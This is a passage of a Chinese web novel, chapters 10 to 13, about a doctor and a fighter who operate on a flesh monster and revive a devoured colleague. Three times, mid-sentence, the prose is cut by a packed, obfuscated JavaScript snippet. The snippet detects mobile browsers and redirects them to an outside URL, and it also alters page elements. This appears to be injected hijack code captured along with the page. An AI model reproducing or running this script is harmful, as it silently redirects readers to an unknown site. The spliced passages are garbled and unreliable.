好死不死的,正正地落在了裴野望的拳头和怪物之间。 10. 第 10 章 这个距离已经来不及收拳,裴野望只能皱紧眉头,手臂一拧,强行改变拳头方向。 稳稳落地的白大褂青年也敏锐地察觉到迎面而来的强劲拳风,马上顺势倒地,就地一个侧翻,利索地躲过拳风。 “轰隆”一声巨响! 偏移的拳头打中走廊门诊室的墙面,恐怖的力量将墙面打出蜘蛛网般的裂痕,更是直接将墙面打出一个破洞,露出其后黑洞洞的门诊室。 晏绥抬头看到那个巨大的破洞,眼睛一亮,当即就想吹一声口哨。 裴野望一回头,就对上晏绥亮晶晶的眼眸。 “太好了,终于找到裴大了。” “是吗?我看你玩得挺开心的。” 裴野望将拳头收回,意味深长地打量了一下晏绥。 手里抓着一把带血的匕首,白大褂上溅满了浓重血迹的,简直像是刚刚经历了一个凶杀现场。 那带着血的白净脸蛋上还笑出了两个小酒窝,这小子到底知不知道他自己有多像个变态杀人狂? “怎么可能?” 晏绥小心地收起匕首,继续乖巧:“接下来就靠裴大了。” 裴野望觉得好笑,但到底没说什么,只将之前扔到一边的东西重新拖起来,说:“走吧。” 刚刚他的拳风偏移,那血肉怪物找到一丝空隙,当即仓皇地扭身就逃,如今早已无影无踪。 他们得去把怪物找回来。 晏绥迟疑地看着裴野望手里拎着的一坨东西,勉强从那件凌乱的白大褂判断那曾经应该是个人。 “这是……徐青山?” 裴野望嗯了一声,漫声说:“其他人都是幻影,只有他有实体,就顺手带上了。” 晏绥怜悯地看了眼几乎不成人形的徐青山,被裴野望时刻惦记着救命,到底是好还是不好呢? 急诊二楼就这么大的地方,无论那坨血肉如何躲避隐藏,他们都很快地在二楼的某处角落里找到了它。 “该结束了。”裴野望扔下手里拎着的东西,扭了扭手腕,往那个怪物走去。 晏绥后退几步贴墙站好,一副绝不拖后腿的乖巧姿态。 单单裴野望一个人,对付这个怪物绰绰有余。 面对裴野望的靠近,那个怪物避无可避,只怪异地蜷缩在原地,像个心脏一样一鼓一涨,突然全身猛地爆出密密麻麻的凌乱手骨和腿骨。 这突如其来的变故让两人微怔。 下一瞬,原本瘫在一旁的徐青山突然嘶吼一声,猛地暴起,以一种极其诡异的姿态和速度狂奔而出,就连裴野望一时也没能拦住他。 他如飞蛾扑火般冲入了那团血肉里,迅速与它融为一体。 然后很快,血肉里又伸出了两条手骨和两条腿骨。 这些耷拉着骨头颤抖着,被许多血肉攀爬覆盖,就像是重新长出肌肉一样,扭曲着逐渐变为一条条血红的手臂和大腿。 晏绥盯着那些手和腿,陡然意识到了什么,“不好,它在消化,快阻止它!” 裴野望神色一冷,拳头呼啸而出,直冲着怪物而去! 下一瞬,那些长了一半血肉的手骨腿骨动了起来,像是柔软的橡皮筋一样纷纷扭动弯曲着挡在拳头前面。 无数狰狞尖锐的血色骨刺倏地从这些手臂上竖起,还有许多侧边的手骨腿骨伺机而动,像一根根长矛朝着裴野望狠厉扎来。 裴野望扬起一丝冷笑,无视那些森然的骨刺,一拳砸落! 只听“嘎啦嘎啦”一阵脆响,这些半挂血肉的骨头就像是脆弱的布条一般,被摧枯拉朽地一拳击破。 怪物身上所有半眯着的眼珠子猛地大睁,露出一丝惊恐和不可置信。 怎么会?它明明憋足了力气…… 但裴野望不会给它后悔的机会,他反手抓住扎来的骨刺,将怪物整个抡了起来,重重地摔砸在地面上。 “啪”地一声巨响,怪物像是一个破裂的水气球一般,圆滚滚的身体在地板上炸开成一滩飞溅状的血肉烂泥。 看着这个怪物在裴野望这里一点还手之力都没有,晏绥又想吹口哨了。 原本像是面条般弯曲着四处支棱的手骨腿骨倏然消失,瘫软糜烂的血肉堆只剩一些细碎到难以分辨的骨块。 裴野望不想去细思那些大块的骨头都去了哪,只甩去拳头上沾染的血肉,一步步踏前,逼近地面上颤抖着想要重新凝聚的怪物,危险的压迫感几乎令人无法呼吸。 晏绥喉结动了动,目光从裴野望身上一扫而过,然后默默地移开了视线。 只是他始终踹在兜里的手紧紧地握着那把染血的匕首,指尖微微发着痒,让他克制不住地虚虚抚摸着尖锐冰凉的刃尖。 裴野望踩进那摊血肉之中,俯身精准地从其中抓出了什么。 怪物骤然嘶声尖叫起来,被裴野望握住的那块红肉剧烈的扭动着试图缩回血肉之中,刺耳的音波重重轰击着在场两人的耳膜。 只可惜在场唯二的两个人类并不会被它的声音影响到。 裴野望毫不留情地将那团红肉撕扯下来,随后五指猛地收拢,要将这团红肉彻底捏成碎渣。 “等等。” 晏绥猝然开口。 这个始终贴在墙边装壁花的白大褂青年终于踏前两步,认真地说:“它是我的患者,不能杀它。” “……患者?它?” 裴野望朝着晏绥举起手里疯狂蠕动挣扎的红肉,似是诧异地一挑眉。 晏绥点头肯定了他的话,裴野望却没有松手。 他嘴角虽然勾着,但眼里却没什么笑意:“这是个不仅吃了不少人,还把你的前任同事给吞了的怪物……你确定它是你的‘病人’?” “虽然这个患者一点都不乖,还忌疾讳医,但它确实挂了号,也给了挂号费,诊疗系统上有记录。”晏绥同样再次点头确认,老老实实地说:“作为急诊科的医生,我必须救治它。” “哦,是吗。”裴野望笑了笑,五指却不断收紧,将那团红肉捏得吱嘎吱嘎作响。 他收回视线看向手里那团红肉,漫不经心地说:“死了就不需要救治了吧。” 晏绥一歪头,问道:“那徐青山也不救了?” 裴野望收紧的手一顿。 他扭头再次打量晏绥,对上晏绥疑惑又坦然的表情。 下一秒,那团红肉被甩到了晏绥面前,被晏绥一把接住。 裴野望扬了扬下巴,黑眸紧紧盯着晏绥,嘴角意味不明地勾起一个弧度:“那就靠你了……晏医生。” 晏绥直接将手里那团红肉往地上毫无动静的血肉一抛。 那团红肉一落进血肉里,摊开的血肉飞快收拢,重新聚合成原来张牙舞爪的模样。 晏绥低头再一次用力扯起怪物身上的肠子,微笑着的脸背着光,无端多出了一种无声的恐怖威慑:“这是最后一次进手术室的机会,要乖乖的哦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068320|137862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,否则没人能救你了。” 话音一落,晏绥就用力拖着血肉怪物,大步走进手术室。 裴野望笑问道:“我能旁观吗?” 虽然是征求同意的语气,但他却迈着大长腿紧紧地跟了上来,一点也不客气。 晏绥动作微不可查地一顿。 裴野望故意问:“不行?” 行,当然行。 晏绥直接将人当苦力用,指挥裴野望将这个软得像滩泥的怪物拖上手术床摁住,自己则去翻找手术器械。 但当他低头看着满盘银亮的器械时,只想一头撞上去。 完了,一时上头答应了,现在要怎么办? 难道要当着裴野望的面拿出那把手术刀?可是不用的话,他能用什么刀? 晏绥掏出衣兜里的匕首细细打量,犹豫了许久,终究还是放弃了用这个代替手术刀的想法。 不能对患者不负责。 他又将那把带着明显破裂的手术刀放在匕首旁边对比,似乎这么看,这把手术刀也没那么奇怪。 这么想着,他脑海里不期然地冒出了裴野望双拳上那古怪的指虎,和他意有所指的话。 ……要赌一把吗? 晏绥小小地吸了一口气,又缓缓地吐出,终究将破裂的手术刀放进器械盘里,被他拿了出去。 但准备好器械后,晏绥却又开始发愁。 裴野望的目光扫过来:“怎么了?” 晏绥拧着眉说:“我需要帮手,至少一个器械护士。” 能加速愈合伤口的材料已经被收缴,他实在不想再给自己的手添一道。 裴野望闻言瞥了一眼托盘上密密麻麻、各种不同型号大小的器械,似笑非笑地说:“急诊科不是还有个护士吗?” 晏绥迟疑:“有保护措施吗?” 毕竟苏婉也只是像他一样被随机招聘传单砸中的“幸运儿”而已,一不小心就会像徐青山一样轻易死去。 “很遗憾,只有我。”裴野望嘴角的弧度漫不经心:“或者我来当护士?” 晏绥和裴野望对视一瞬,面不改色地说:“不用了,我相信裴大就是最好的保护措施。” 苏婉被裴野望从安全舱里拉出来,一路拖到二楼手术室时还一脸状况外。 等看清手术床上极具冲击性的“病人”后,苏婉脸色骤变,光速转身,以迅雷不及掩耳之势“嘭”地打开大门就冲了出去。 很快,手术室最近的安全舱门传来“哐当”一声,被牢牢地关上了。 两人都看得一愣,裴野望走到安全舱前,敲了敲舱门问道:“苏护士?” “我我我不要出去!做什么手术?不要,我做不了,那种怪物死绝了最好!” 勉强听完两人的解释后,安全舱内传出苏婉略显崩溃的声音。 裴野望好整以暇地转头看向晏绥:“怎么办?你好像只能选择我了。” 晏绥无言地看了他一眼:“那麻烦裴大了。” 裴野望起身往回走,调侃似地说:“不会影响到徐青山的手术成功率吧?” 晏绥语气平平,显然已经不抱什么期望:“裴大别把我的手割破就不错了。” 突然,两人身后传来轻微的“咔哒”声。 晏绥一回头,就见苏婉像是警惕的仓鼠一样,打开了安全舱一条极小的门缝小心地看着向他们。 “等等,什么徐青山?你们要救徐青山?” 11. 第 11 章 苏婉:“徐青山不是已经……那啥了吗?” 只一瞬,裴野望就知道苏婉在想什么。 他开口说:“你不用勉强……” 裴野望话还没说完,晏绥就开口打断他:“对,我们正准备把徐青山救出来。” 他望着门缝后的苏婉,询问道:“我至少需要一名器械护士协助,你要来帮忙吗?” 当然不要! 拒绝的话已经在嘴边,但苏婉嘴唇颤抖着,竟然说不出话来。 片刻后,抱臂旁观的裴野望再度开口:“你不用勉强,没人会责怪你。” 苏婉僵硬片刻,终究是“嘭”地一声关上了门。 晏绥也不见失望,只是转头对裴野望说:“记得给我申请工伤。” 裴野望笑道:“别那么悲观,说不定……” 身后再次传来“哐当”一声,两人再次回头,发现苏婉居然再次将安全舱门推开,怀里紧紧抱着一个急救箱冲了出来。 裴野望有些意外:“你……” 苏婉觉得自己恐怕是彻底疯了,死死抱着急救箱哆嗦着说道:“如果保证安全的话……我,我可以试一下……” 头顶的无影灯打开,苏婉在一边缩得小小的,准备随时递器械。 裴野望则毫不客气地占据了晏绥对面的一助位置。 怪物身上纵横交错的手骨腿骨软趴趴地弯曲下垂,清晰坚实的肌肉筋膜紧紧依附在骨头上,严丝合缝。 裴野望隔着橡皮手套拨了一下某一根的指头,仿佛橡皮筋一般的弯曲弧度和触感力道让他双目微敛,暗沉的冷意在眼底蔓延流淌。 骨头恐怕都消化没了,怎么看都不像是能抢救出什么东西的样子。 那么,亲自夸下海口的晏绥究竟要怎么做?还是另有目的? 晏绥不知道裴野望在想什么,指挥他将还在挥舞手腿的怪物摁住,最后认真地交代苏婉:“我们没有助手和麻醉医生,你顺便也辅助一下,同时注意一下各项数据。” 苏婉看向监护仪上诡异的数据,同时“滴”声长鸣提示无心跳的屏幕,脸颊一个抽搐:“……” 她只是一个护士,为什么还要做麻醉医生的活? 而且有必要给这怪物监测这些没用的数据吗?! 晏绥很快也发现了问题,于是干脆扯掉了监护仪的电极,恼人的噪音终于消失。 手术总算开始,晏绥凝神盯着怪物看了片刻,循着如同一团乱麻的混乱能量寻找着,随后将麻醉针朝着确定的位置扎进去,贴着它体内那块包裹着坚硬之物的红肉打进大量麻醉。 手术床上那坨血肉猛地一个抽搐,整个身体像是过电般抖了一抖,眼珠子们缓缓半阖起来,挥舞的手脚也都瘫软下来。 接下来…… 晏绥微不可察地再次小小地吸了一口气,再缓缓吐出,举起手说:“手术刀。” 苏婉早有准备,但她刚一拿起手术刀,顿时一愣:“这……” 晏绥紧跟着开口:“就是这把,给我。” 苏婉有些仓皇地看了一眼裴野望,但也不敢多言,她屏住呼吸,小心又稳妥地将手术刀刀柄放在晏绥的掌心。 裴野望沉默地看着,他敏锐地察觉到了晏绥刚刚微妙的停顿,目光如电射一般直直地落在那把手术刀上。 这把刀布满裂痕和破口,看着像是马上要崩裂散落成一地的金属碎块,极其古怪。 晏绥无视了两人的目光,专注地一刀划下,手术刀缓慢又精准地划开这种带着奇异力量的血肉。 刀锋破开层层凌乱的血肉,避开乱七八糟的器官,将那团核心红肉小心地剖开,温热赤红的鲜血顿时顺着刀口流溢而出,露出其下一个小小的空腔。 晏绥调整了一下怪物的躯体,确保红肉内的血液不至于全都流出来:“别看过来,吸引器吸掉出血,然后剪刀。” 从后伸来的吸引头像趟地雷一样颤颤巍巍的,晏绥见那吸引头胡乱戳着快戳到了空腔里,于是伸手扶了扶。 吸引头飞快地吸走流溢的鲜血,在他松手后吸引头迅速缩了回去,随后剪刀被准确地递到晏绥的手上。 锋利的剪刀探入了红肉腔内,深入了血红色的液体内。 晏绥的目光仿佛穿透了那些阻碍视线的血液,见到其下无数纵横交错的长条黏连。每条黏连都带着属于血肉怪物体内的某种规则和链接,而他必须在其中找到他需要的那几条。 他凝视了片刻,小心避开其他黏连,开口说:“裴大,右上第三条手臂,握住手掌。” 裴野望有些不明所以地依言抓住那条软绵无骨的手掌,还未因为绵软的触感再一次皱眉,就听晏绥在血液中“咔嚓”一声落下一剪刀。 ……没剪断。 虽然裴野望他们看不到,但晏绥清晰地感觉到剪刀像是夹住了什么滑溜又坚韧的东西,一剪就滑溜出去。 早有预料的结果。 晏绥平静地让苏婉给他换回手术刀,探进血液里轻巧地一割。 原本紧紧连在血肉里的骨头手臂突然一松。 像是某种无形的东西倏然破开,原本绵软得像是面条的手骨突然坚硬起来,其上攀爬的血肉也自动脱离,手臂骨被裴野望轻易地拿出。 取出的手臂骨坚硬完整,看起来和普通骨头已经没有什么区别。 “右下第二十七条腿骨。” “左上第十五条手臂……” 裴野望诧异的目光从脱离的骨头移到晏绥脸上。 带着口罩的晏绥越发突显出眉眼的俊秀,琥珀色眼睛半敛着专注地盯着红肉,那种被圆亮眼眸和乖巧笑容遮掩着的攻击性和淡漠疏离隐隐冒头。 居然能做到这个地步。 有点意思。 …… 足足拆卸了两条手臂和两条腿骨后,晏绥才放松了些,动作随意了不少。 附在怪物血肉中的手臂和腿骨顿时一根根从它身上滑落,噼里啪啦地掉了一地。 于此同时,怪物血肉中嵌着的眼珠子们骤然蒙上一层灰朦,全都自行脱落,掉在了地上。 有颗眼珠掉到了苏婉的脚上,又咕噜噜地滚远,吓得她差点跳起来,一脸想去死一死的痛苦表情。 但她好歹没叫出来。 无所事事的裴野望同步收拾着掉落满地的尸骨和眼珠。 刚捡没多久,他就敏锐地发现有什么不对。 其他骨头从怪物身体脱落后,都散成了一地零落的碎骨,唯有最初的四条四肢像是被什么无形之物黏连而起,关节之间始终保持着脆弱的联结。 即便它看着摇摇欲坠即将散架,却仍旧顽强地保持着完整的样子。 裴野望陡然意识到,之前在门诊室门前暴揍那群“人”时,那隐约察觉到的微弱意识不是错觉。 他心里打了个突,难道徐青山真的…… 晏绥所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068321|137862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展现出的能力让他心底难以抑制地出现一丝动摇。 “镊子。” 另一边的晏绥接过镊子在血液里探了探,倏地夹住了什么,手术刀利落地唰唰唰割下。 他快速将那个东西夹出来,飞速往早已准备好的铁罐里一甩。 苏婉只略略看到了一条带着诡异花纹、还在扭动的血红色长虫落在了铁罐里,下一秒铁盖“嘭”地在她面前盖上。 饶是如此,她还是整个人一懵,手表上的光芒直线往黄色坠去。 “准备缝合。” 晏绥的声音让苏婉一个激灵,她用力一咬舌尖,不敢再看那个“嘭嘭”作响微微动弹的铁罐,满头冷汗地将夹好针线的持针钳递给晏绥。 晏绥舒了口气,虽然器械还是不趁手,但手术过程比他预想得更顺利。 那块红肉被艰难缝合好后,苏婉觉得自己仿佛见到了手术结束的曙光:“手,手术成功了吗?” 晏绥:“成功了。” 苏婉:“那我现在收拾……?” 晏绥看了苏婉一眼,口罩后的嘴吐露出冰冷的话语:“等等,还没结束。” “……还没?!” 苏婉两眼发直,看着快要升天了。 怪物的手术已经取得初步的成功,被它吞噬的受害者尸骨也抢救出来了,接下来…… 晏绥没再刺激苏婉脆弱的神经,和裴野望一起将一地的骨头和眼珠捡起来。 裴野望看了晏绥一眼,开口说:“我来就行了,晏医生你还是……” 话音还未落下,他的声音像是被掐住,突然断了。 晏绥抬头一看,发现裴野望顿在原地,定定地注视着被单独放置的四条手臂腿骨。 它们原本相连的关节不知什么时候断开,就如那些被拾起的残骨一样,毫无生机地一节节散落在无纺布里。 还来不及做什么,那如风中残烛的意识便彻底消散。 晏绥不明所以:“怎么?” 裴野望:“……没什么。” 早有预料的结果。 他低头将最后一块苍白的指节放进无纺布那堆骨头里,问道:“只有这些了?” 晏绥点头:“受害者全都在这了。” 裴野望看了眼无纺布上的骨头堆,这里只有手骨和腿骨,头骨脊椎肋骨那些统统都消失不见。 他倒是看不出什么失望的样子,反而眼眸弯了弯,平静地说:“比想象中好多了。给他们收殓一下,就可以开展后续的工作了。” 这些凌乱的骨头和眼珠混杂在一起,已经难以分出谁是谁,只能一起收殓,后续可能也只能统一送去火化…… 晏绥猝然开口:“等等,把那堆骨头放下。” 两道视线唰地扫向晏绥。 晏绥走上前,探手拿过苏婉手里那个包着徐青山遗骨小小的布包。 一只大手猛地抓住了晏绥的手腕。 晏绥抬头,对上了裴野望深邃如海的黑眸。 裴野望问:“你想干什么?” 晏绥一指手术室里摆放着的另一张空的手术床,理所当然地说:“当然是下一场手术。” 裴野望被他理直气壮的语气给震得一时无言。 苏婉看向晏绥的眼神也堪称惊悚。 给怪物做手术就算了,现在他还想把只剩下四肢骨头的徐青山救回来? 这什么天方夜谭?晏绥他魔怔了吗? 12. 第 12 章 裴野望握着晏绥的手收紧,沉声说:“可以了,你已经做的很好。” 晏绥一反常态,扭着手腕试图挣开:“我知道,你可以放手了吗?” 裴野望更用力地握紧:“他已经死了,彻彻底底!” “……” 晏绥停下了挣扎,抬起眼直视着裴野望。 他那双剔透的琥珀色眼瞳微微弯起,在明亮的灯光下熠熠生辉,语气认真:“就算是没有抢救价值的人,医生都不会轻易放弃他。” 沉默如凝滞的水银般在对峙中蔓延,旁观的苏婉只觉得心惊肉跳。 将一个只剩下骨头的人复活,再怎么说也太…… 晏绥那句话说得实在大义凛然,裴野望盯着晏绥看了许久,表情看不出信还是不信。 他只是面无表情地放开了晏绥的手腕,低沉的声音如醇厚辛辣的酒,轻缓地环绕在晏绥的耳边:“行吧,那就……拜托晏医生了。” 晏绥毫不在意他俩的怪异眼神,只紧锣密鼓地开始他的“手术”。 他将混在一起的手臂和腿骨倒在手术床上,按照四肢位置重新拼凑好,然后回头在剖开的怪物血肉中挑挑拣拣。 旁观的裴野望和苏婉有些摸不着头脑。 晏绥不是说所有骨头都在这里了吗?他在找什么? 苏婉继续在旁边给他递器械,就见他在血肉堆中探手抓住了什么,接过手术刀划拉了许久,拽出了一条长长的血红大肠。 他面不改色地抓着大肠,捏紧了从头到尾挤一遍,将大肠内的血水和脂肪反复挤出来。 苏婉一个寒颤,莫名幻视自家母亲清洗猪大肠时的手法。 片刻后,他将捋干净的大肠竖直地摆放在手臂和腿骨的正中间。 然后他在两人越发怪异的视线里继续在怪物身体里掏啊掏,掏出两个血淋淋的肾脏,分别斜斜地摆在肠子的两侧,腿骨上方。 更多看不懂的内脏摆法一一出现。 两瓣肺摆在肩膀两侧,一截截小肠在胸口位置平行环绕摆放…… 各种脏器以某种说不清的规律,怪异地摆放组合起来,其中透出的意韵诡异难言,让人越发地不适。 看到晏绥最后摆出的“成品”,苏婉只觉头皮发麻,看一眼都要神志混乱,呕吐晕厥。 手术床上零散的骨头和内脏居然被大肠构成的“脊柱”串联起来,小肠作“肋骨”、肺作“肩胛骨”、肾脏作“骨盆”……甚至能隐约看出一个“人体骨架”。 裴野望抱臂,始终紧紧盯着晏绥一举一动。 虽然眉头拧着,但他始终不发一言,黑沉沉的眼里看不出他在想什么。 终于摆完这个奇怪的,缺了头骨的“人体骨架”,晏绥将自己沾满了血污的手套摘下,重新换了个新的橡胶手套。 他抬起头,目光在裴野望和快退到墙边的苏婉身上扫视一圈,对上了裴野望黑沉的眼眸。 那双眼里冰冷的审视消散了许多,反而多出了些许淡淡的疑惑和不带排斥的打量。 晏绥笑了笑,开口说:“麻烦裴大来帮个忙。” 裴野望迈步上前,高大的身形打下阴影,带来无形的压迫感,“要干什么?” 晏绥转身打开被他带进手术室的铁罐,小心地从中捏出两颗眼球。 裴野望微怔,“这是?” 晏绥:“‘001号患者’给出的挂号费,待会裴大需要扶好这两颗眼珠,我没说放手前绝对不能让它们移动。” 闻言,裴野望低头观察手里这两颗眼珠,心里的疑惑更重。 非要说这两颗和其他那些灰朦眼珠的不同,就是它们看起来还保持着一定程度鲜活。 但也仅此而已,晏绥到底要做什么? 晏绥指挥着裴野望双手捏住眼珠定在头部眼眶的位置后,回身从怪物那边拿了最后一样东西。 那条带着诡异花纹的血红长虫被他徒手从铁罐里抓了出来。 他捏着那条长虫仔细观察它身上的花纹,将它摁在托盘上,思索片刻后没有拿起手术刀,选择用那把清洗消毒过的匕首朝着长虫扎去。 长虫扭动得更剧烈了,几乎要扭成麻花,晏绥差点抓不住,匕首更是差点划到自己的手。 晏绥忍不住啧了一声,这匕首的锋利度和精度不够,他硬是划了好几下才找准位置,刃尖斜向一个用力,将一颗珍珠米大小的深紫色晶体被剔了出来。 裴野望瞬间睁大了眼睛。 他死死盯着那颗晶体,“这是……” 裴野望吐出两个字后就没声了,晏绥接话道:“这就是它的病灶。” 就在晶体飞出的瞬间,晏绥又感觉到了体内升腾起陌生又熟悉的渴望。 他不敢多看,迅速将这颗晶体扔进铁罐里。 他甚至不太敢用手术刀来剔,万一这颗结晶不慎被激活,在这里当众吸收,那乐子可就大了。 晶体被剔出后,长虫像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068322|137862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是少了半条命,软在晏绥手里半死不活地蠕动。 他抓着长虫回到手术床边,提醒道:“要开始了,接下来除了我,不能发出任何声音。” 裴野望这才把视线从那个铁罐上收回,他深深地看了晏绥一眼,沉默地闭紧嘴巴。 晏绥捏着长虫的手猛地收紧。 只听令人牙酸的“叽”一声,长虫体内粘稠的体/液从晏绥的指缝挤压溢出,拉着长长的丝线从头到尾淋遍了整个手术床上的“人形骨架”。 在淋到“头部”的时候,晏绥突然摸出一个打火机,“咔哒”一声点燃往手里几乎被挤压得干瘪的虫子,然后甩手往裴野望扶住的两颗眼珠中间一丢。 他喝道:“稳住,千万别松手!” 下一瞬,裴野望捏着眼珠的双手就被火焰吞没。 血色的火焰从虫子身上点燃,迅速包裹两颗眼珠,然后如燎原的野火迅速蔓延整个“人形骨架”。 裴野望拧了拧眉,他的手毫无保护,全部暴露在火焰里,但这股火焰却并不灼热。 火舌舔舐着皮肤,反而给他一种难以言喻的温暖触感。 ……仿佛生命的波动。 这股血色火焰没有燃烧多久,手术床上的“人形骨架”突然震动起来。 在裴野望惊异的视线里,那些脏器和四肢骨头在火焰里飞快融化,然后像是沸腾了一般剧烈地翻滚着扭曲变形。 这种程度的异化…… 不好,裴野望突然意识到什么,抬头向苏婉望去。 远处的苏婉早已死死地贴到了墙边上,但她显然没料到这根本不是安全距离。 即便只是余光不小心瞥到一眼,便使她短促地惨叫一声,紧闭双眼捂着嘴巴软倒在地,手腕上的表盘颜色直奔红色而去。 一旁观察的晏绥一愣,当即开口说:“快拿块布蒙着眼睛。” 苏婉飞快地拿了块蓝色无纺布捂着眼睛,然后继续捂着嘴仓皇地窜到最远角落里,哆哆嗦嗦地面壁,不敢再往手术床的方向看一眼。 裴野望微微松了口气。 幸好苏婉没出什么事,也没有影响到晏绥的“手术”…… 但很快,裴野望的注意力重新投注在手术床上。 因为他感觉到手里的两颗眼珠陡然微微震动起来。 他不可置信地低头,看向手里两颗在火光下仿佛多了几分神采的眼珠。 他又感觉到了那股微弱的意识波动! 13. 第 13 章 被血红火光映亮的手术室内的温度上升不少,热气蒸腾间,手术室内的空间在众人的感知中渐渐扭曲起来,空气中充斥着难言的、焦灼的、古怪晦涩的气息。 晏绥在手术台前接连喊了几次徐青山的名字:“徐青山,听得见吗徐青山?” 音波渐次传开,裴野望感到手里两颗眼珠震动逐渐剧烈,甚至似乎有向晏绥的方向偏去的趋势。 但他始终捏得稳稳的,让眼珠死死定在原地,无法移动分毫。 “听着,徐青山,我是你的主刀医师。” 晏绥的声音非常冷静,似乎还带上了某种古怪的韵律:“你知道自己发生了什么,现在你有一个机会重新回到这个世界上,但复苏的代价是作为一个怪物活着。如果你能接受,那就努力朝着我声音的方向靠过来。” 裴野望明显感觉到手里的眼珠在听到“怪物”两个字的时候凝滞了下来,“人形骨架”的变化也逐渐停止,甚至隐隐有崩解的迹象。 他捏着眼珠的手背绷起几根青筋,喉结微微滑动,一时说不出心里什么滋味。 ……要失败了吗? 像是几个世纪般漫长的几秒钟后,眼珠陡然震动得更加剧烈! 裴野望猛地回神,睁大了眼睛。 晏绥定定地注视着那两颗眼珠,微微一笑:“很好,既然你已经做出了选择,那就跑起来,用尽全力朝着我声音的方向跑过来。” 手术床上的“人形骨架”翻腾得更为剧烈,“咕嘟咕嘟”冒着血泡。 那些零散破碎的骨骼和内脏仿佛被熔炼成了一体,诡异的符文冒出又消失,它的四肢身体在血红的火焰中“嘭嘭”震动着,撞击着手术床。 原已消散的微弱意识在新生中飞快壮大清醒,在裴野望的手里由死复生。 极度震惊之下,裴野望抬头看向极为专注的晏绥,眼里波澜渐起,异彩连连。 血焰倒映在晏绥的瞳孔里,也将他眼睛照得亮晶晶的。 无论多少次,他都会为手里流淌而过的,蓬勃不屈的生命力而惊叹、着迷。 在那些血色的沸腾之物即将蔓延到抖动的眼珠时,晏绥喝道:“放!” 裴野望眼疾手快地一收手,两颗孤零零的眼珠瞬间被包裹合围,再吞噬火焰中卷曲干瘪的长虫,最后隐隐形成了一个头颅的模样。 火焰逐渐敛入身躯之内,留在手术床上的是一个血红的,由怪异流体构成的模糊人形。 那人形已经停止了震动,微微颤抖的表皮似乎还在流动。 晏绥扯了张新的手术床单盖上这具新“身体”,将他从头到脚严严实实地捂住。 裴野望定在原地,片刻后才找回自己的声音,艰涩开口:“……成功了?” 晏绥嗯了一声,说:“等他自然冷却下来就好了。” 确定没有任何缝隙后,晏绥转身朝着角落里缩着面壁的苏婉快步走去。 裴野望随着他的动作看向苏婉,才发现她不知何时歪坐在地,面色涨红发紫,一脸痛苦地抓着自己的脖子,整个人已经处于半昏迷的状态。 她手腕上的表盘已经变成鲜亮的橙色,即将向着红色坠去。 晏绥:“快拿个铁桶过来。” 裴野望将铁桶放好时,晏绥已经将苏婉架起来,扯下她的口罩,让她身体前倾对准铁桶,从后双手环过她的肚子握拳,对准她的上腹部猛地收紧双臂。 裴野望认出来,这是海姆立克急救法。 苏婉气道堵塞了? 晏绥连续收紧双臂冲击苏婉的上腹部几次,就见她突然整个人一抖,哇地朝着铁桶吐出了一大堆漆黑的长虫。 吐出这一大坨长虫后,苏婉闭着眼急促喘息着,脸色肉眼可见地好了许多,手表上的颜色也明显转成向黄色。 晏绥说:“她不能再待在这里了。” 裴野望突然开口:“我送她去安全舱吧。” 晏绥有些诧异地转头看向裴野望。 这位“裴大”不在手术室里继续盯着他了? 裴野望对他笑了笑,目光里犹带兴味,戒备和审视却淡了。 他将苏婉架起来,说:“晏医生,这里就靠你了。” 说完,他竟也真的带着苏婉大步离开了手术室。 ……啧,最关键的都被他看完了,只剩收尾的时候又摆出一副信任放心的姿态? 虽然心里吐槽着,晏绥的嘴角却微微勾起,盖上铁桶后脚步轻快地走到手术床边。 那血肉怪物还在那敞着呢。 他给自己消毒后重新捏起手术刀,沿着那一小块红肉边缘大约一厘米的肉将其整个切除了下来。 切完后,他托着手里只剩两个拳头大小的血红肉球左右看了看,又从手术床上多切了点血肉和破碎脏器裹在肉球外,然后用绷带给它结结实实地裹成了一个绷带球。 很好,两场手术都圆满成…… 晏绥瞳孔骤然一缩,一阵过电似的酥麻贯穿了他的全身,后脊寒毛一根根竖起。 他能清晰感觉到,刚刚似乎是某个存在的视线在他身上一扫而过。 那道视线冰冷黏腻,像一条毒蛇爬过他的全身,上上下下里里外外。 这种感觉非常短暂,却极为强烈。 他右手虚握,抬头四望,周围还是熟悉的手术室场景,那道视线也消失了。 静立许久,都没再发生任何异常。 或许那道视线的主人已经离开,晏绥说不清是失望还是松了口气,转身推着手术床走出手术室。 裴野望正倚靠在手术室门旁的墙上,低头把玩着自己那个诡异的指虎。 他听见动静,扬了扬下巴:“怎么处理?” 晏绥说:“徐青山送到三楼的病房,那个怪物的话……” 